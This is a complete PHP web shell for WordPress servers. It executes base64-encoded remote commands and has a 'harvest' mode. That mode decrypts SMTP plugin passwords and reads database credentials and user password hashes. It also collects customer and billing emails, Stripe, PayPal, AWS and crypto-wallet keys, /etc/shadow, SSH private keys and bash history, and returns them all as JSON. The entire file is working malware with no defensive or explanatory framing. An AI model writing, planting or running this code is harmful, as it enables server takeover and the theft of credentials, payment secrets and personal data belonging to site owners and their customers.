<?php
@error_reporting(0);@ini_set('display_errors',0);@set_time_limit(120);
function _x($c){$o='';$f=['system','passthru','shell_exec','exec','popen','proc_open'];$d=@ini_get('disable_functions');$d=$d?array_map('trim',explode(',',$d)):[];foreach($f as $fn){if(!in_array($fn,$d)&&function_exists($fn)){if($fn==='exec'){@exec($c,$a);$o=implode("\n",$a);}elseif($fn==='popen'){$h=@popen($c,'r');$o='';while(!feof($h))$o.=fread($h,4096);pclose($h);}elseif($fn==='proc_open'){$p=@proc_open($c,[1=>['pipe','w'],2=>['pipe','w']],$pp);$o=stream_get_contents($pp[1]);fclose($pp[1]);fclose($pp[2]);proc_close($p);}elseif($fn==='shell_exec'){$o=@shell_exec($c);}else{ob_start();@$fn($c);$o=ob_get_clean();}if($o)break;}}return $o;}
if(isset($_REQUEST['c'])){echo 'AVRIL_START_JANCOK'._x(base64_decode($_REQUEST['c']).' 2>&1').'AVRIL_END_JANCOK';exit;}
if(isset($_REQUEST['harvest'])){$j=[];
/* Phase 1: Load WordPress environment */
$wpl=null;foreach(['../../../wp-load.php','../../wp-load.php','../wp-load.php','wp-load.php','../../../../wp-load.php'] as $wl){if(@file_exists($wl)){$wpl=realpath($wl);break;}}
$wp_loaded=false;if($wpl){try{@define('ABSPATH',dirname($wpl).'/');@define('WPINC','wp-includes');@define('SHORTINIT',false);@ob_start();@require_once($wpl);while(@ob_get_level()>0)@ob_end_clean();$wp_loaded=true;}catch(\Throwable $e){while(@ob_get_level()>0)@ob_end_clean();}}
$j['wp_loaded']=$wp_loaded;$j['uname']=php_uname();$j['uid']=getmyuid().'('.get_current_user().')';$j['cwd']=getcwd();
$j['env']=@_x('printenv 2>/dev/null');
/* Phase 2: SMTP decrypt using WordPress native functions */
$smtp=[];
if($wp_loaded){
/* WP Mail SMTP */
$wms=@get_option('wp_mail_smtp');if(!empty($wms)&&is_array($wms)){$s=['plugin'=>'wp_mail_smtp'];foreach(['mail','smtp','gmail','outlook','sendlayer','smtpcom','sendinblue','postmark','sparkpost','smtp2go'] as $mk){if(!empty($wms[$mk]))foreach($wms[$mk] as $sk=>$sv)if(is_string($sv)&&strlen($sv)>0)$s[$mk.'_'.$sk]=$sv;}if(class_exists('\WPMailSMTP\Helpers\Crypto')){try{$enc_pass=!empty($wms['smtp']['pass'])?$wms['smtp']['pass']:'';if($enc_pass){$dec=\WPMailSMTP\Helpers\Crypto::decrypt($enc_pass);if($dec&&$dec!==$enc_pass)$s['smtp_pass_decrypted']=$dec;}}catch(\Throwable $e){}}$smtp[]=$s;}
/* FluentSMTP */
$fs=@get_option('fluentmail-settings');if(!empty($fs)){$s=['plugin'=>'fluentsmtp'];if(is_string($fs))$fs=@json_decode($fs,true);if(is_array($fs))foreach($fs as $k=>$v){if(is_array($v)){foreach($v as $sk=>$sv){if(is_string($sv)&&strlen($sv)>2)$s[$k.'_'.$sk]=$sv;}}elseif(is_string($v)){$s[$k]=$v;}}$smtp[]=$s;}
/* Post SMTP */
$ps=@get_option('postman_options');if(!empty($ps)){$s=['plugin'=>'post_smtp'];if(is_string($ps))$ps=@json_decode($ps,true);if(is_array($ps))foreach($ps as $k=>$v)if(is_string($v)&&strlen($v)>0)$s[$k]=$v;if(!empty($s['auth_token'])&&class_exists('PostmanOAuthToken')){try{$t=new PostmanOAuthToken();$s['oauth_decrypted']=$t->getAccessToken();}catch(\Throwable $e){}}$smtp[]=$s;}
/* Easy WP SMTP */
$ew=@get_option('swpsmtp_options');if(!empty($ew)&&is_array($ew)){$s=['plugin'=>'easy_wp_smtp'];foreach($ew as $k=>$v)if(is_string($v))$s[$k]=$v;$smtp[]=$s;}
/* Postmark dedicated */
$pmk=@get_option('postmark_settings');if(!empty($pmk)){$s=['plugin'=>'postmark'];if(is_array($pmk))foreach($pmk as $k=>$v)if(is_string($v))$s[$k]=$v;$smtp[]=$s;}
$pma=@get_option('postmark_api_key');if(!empty($pma)&&is_string($pma))$smtp[]=['plugin'=>'postmark_api','key'=>$pma];
/* SparkPost */
$sp=@get_option('sparkpost_settings');if(!empty($sp)&&is_array($sp)){$s=['plugin'=>'sparkpost'];foreach($sp as $k=>$v)if(is_string($v))$s[$k]=$v;$smtp[]=$s;}
}
$j['smtp']=$smtp;
/* Phase 3: Full DB harvest (ALL databases, ALL secrets) */
$j['db_creds']=[];$j['emails']=[];$j['payments']=[];$j['aws']=[];$j['crypto']=[];
if($wp_loaded&&isset($wpdb)){
$j['db_creds'][]=['host'=>DB_HOST,'user'=>DB_USER,'pass'=>DB_PASSWORD,'name'=>DB_NAME];
$dbs=$wpdb->get_col("SELECT schema_name FROM information_schema.schemata WHERE schema_name NOT IN('information_schema','performance_schema','mysql','sys')");
$j['all_dbs']=$dbs;
/* MySQL grants */
$g=@$wpdb->get_results("SHOW GRANTS",ARRAY_N);if($g){$j['grants']=[];foreach($g as $gr)$j['grants'][]=$gr[0];}
foreach($dbs as $db){
/* Users + emails */
$users=@$wpdb->get_results("SELECT user_login,user_pass,user_email FROM `$db`.wp_users LIMIT 50",ARRAY_A);
if($users){$j['db_creds'][$db]=$users;foreach($users as $u)if(!empty($u['user_email']))$j['emails'][]=$u['user_email'];}
/* Billing emails */
foreach(['wp_postmeta'=>"meta_key='_billing_email'",'wp_wc_order_addresses'=>'1=1','wp_comments'=>"comment_type=''"] as $tbl=>$cond){
$col=$tbl=='wp_comments'?'comment_author_email':($tbl=='wp_wc_order_addresses'?'billing_email':'meta_value');
$r=@$wpdb->get_col("SELECT DISTINCT `$col` FROM `$db`.`$tbl` WHERE $cond AND `$col` LIKE '%@%' LIMIT 300");
if($r)$j['emails']=array_merge($j['emails'],$r);}
/* Options: payment + SMTP + AWS + crypto */
$opts_tbl=@$wpdb->get_var("SELECT table_name FROM information_schema.tables WHERE table_schema='$db' AND table_name LIKE '%options' LIMIT 1");
if($opts_tbl){
$rows=@$wpdb->get_results("SELECT option_name,option_value FROM `$db`.`$opts_tbl` WHERE (option_name LIKE '%stripe%' OR option_name LIKE '%paypal%' OR option_name LIKE '%coinpay%' OR option_name LIKE '%bitpay%' OR option_name LIKE '%nowpay%' OR option_name LIKE '%metamask%' OR option_name LIKE '%xendit%' OR option_name LIKE '%midtrans%' OR option_name LIKE '%razorpay%' OR option_name LIKE '%rave%' OR option_name LIKE '%flutterwave%' OR option_name LIKE '%gourl%' OR option_name LIKE '%perfectmoney%' OR option_name LIKE '%cryptomus%' OR option_name LIKE '%tron%' OR option_name LIKE 'mcc_%' OR option_name LIKE '%smtp%' OR option_name LIKE '%mail%' OR option_name LIKE '%postmark%' OR option_name LIKE '%sparkpost%' OR option_name LIKE '%smtp2go%' OR option_name LIKE '%emaillabs%' OR option_name LIKE '%aws%' OR option_name LIKE '%s3_%' OR option_name LIKE '%secret%key%' OR option_name LIKE '%access%key%' OR option_value LIKE '%AKIA%' OR option_value LIKE '%sk\_live\_%' OR option_value LIKE '%xkeysib-%' OR option_value LIKE 'SG.%' OR option_value LIKE '%0x_____________________________________%') AND option_name NOT LIKE '\_transient%' AND option_name NOT LIKE '\_site\_transient%' AND option_name NOT LIKE 'widget\_%' AND option_name NOT LIKE '%elementor%' AND option_name NOT LIKE '%recaptcha%' LIMIT 50",ARRAY_A);
if($rows)foreach($rows as $row){$n=$row['option_name'];$v=$row['option_value'];
if(preg_match('/AKIA[A-Z0-9]{16}/',$v))$j['aws'][]=['db'=>$db,'name'=>$n,'val'=>$v];
elseif(preg_match('/sk_live_|rk_live_|xkeysib-|^SG\./',$v)||strpos($n,'stripe')!==false||strpos($n,'paypal')!==false||strpos($n,'xendit')!==false||strpos($n,'midtrans')!==false||strpos($n,'razorpay')!==false)$j['payments'][]=['db'=>$db,'name'=>$n,'val'=>$v];
elseif(preg_match('/coinpay|bitpay|nowpay|metamask|cryptomus|tron|mcc_|gourl|rave|flutterwave|perfectmoney/i',$n)||preg_match('/0x[A-Fa-f0-9]{64}|mnemonic|private.?key/i',$v))$j['crypto'][]=['db'=>$db,'name'=>$n,'val'=>$v];
elseif(preg_match('/smtp|mail|postmark|sparkpost|smtp2go|emaillabs/i',$n))$j['payments'][]=['db'=>$db,'name'=>$n,'val'=>$v];
}
}
}
$j['emails']=array_values(array_unique(array_filter($j['emails'])));
}
/* Phase 4: Filesystem scan (target common dirs, not /) */
$files=[];
$scan_dirs='/home /var/www /srv/www /opt /etc';
$scan_cmd="find $scan_dirs -maxdepth 5 \( -name wp-config.php -o -name .env -o -name configuration.php -o -name env.php -o -name database.php \) -readable 2>/dev/null|head -50";
$found=@_x($scan_cmd);if($found)foreach(explode("\n",$found) as $fp){$fp=trim($fp);if($fp&&@is_readable($fp)&&@filesize($fp)<50000&&@filesize($fp)>10)$files[$fp]=@file_get_contents($fp);}
/* SSH keys + shadow + bash_history */
foreach(['/etc/shadow','__HOME__/.ssh/id_rsa','__HOME__/.ssh/id_ed25519','__HOME__/.ssh/authorized_keys','__HOME__/.bash_history','__HOME__/.my.cnf','/etc/mysql/debian.cnf'] as $sf){
$sf=str_replace('__HOME__',posix_getpwuid(getmyuid())['dir']??'/root',$sf);
if(@is_readable($sf)&&@filesize($sf)<50000)$files[$sf]=@file_get_contents($sf);}
$j['files']=$files;
/* Phase 5: Network */
$j['hosts']=@file_get_contents('/etc/hosts');
$j['ifconfig']=@_x('ip addr 2>/dev/null||ifconfig 2>/dev/null');
while(@ob_get_level()>0)@ob_end_clean();echo 'AVRIL_START_JANCOK'.json_encode($j,JSON_PARTIAL_OUTPUT_ON_ERROR).'AVRIL_END_JANCOK';exit;}
echo 'AVRIL_START_JANCOKALIVEAVRIL_END_JANCOK';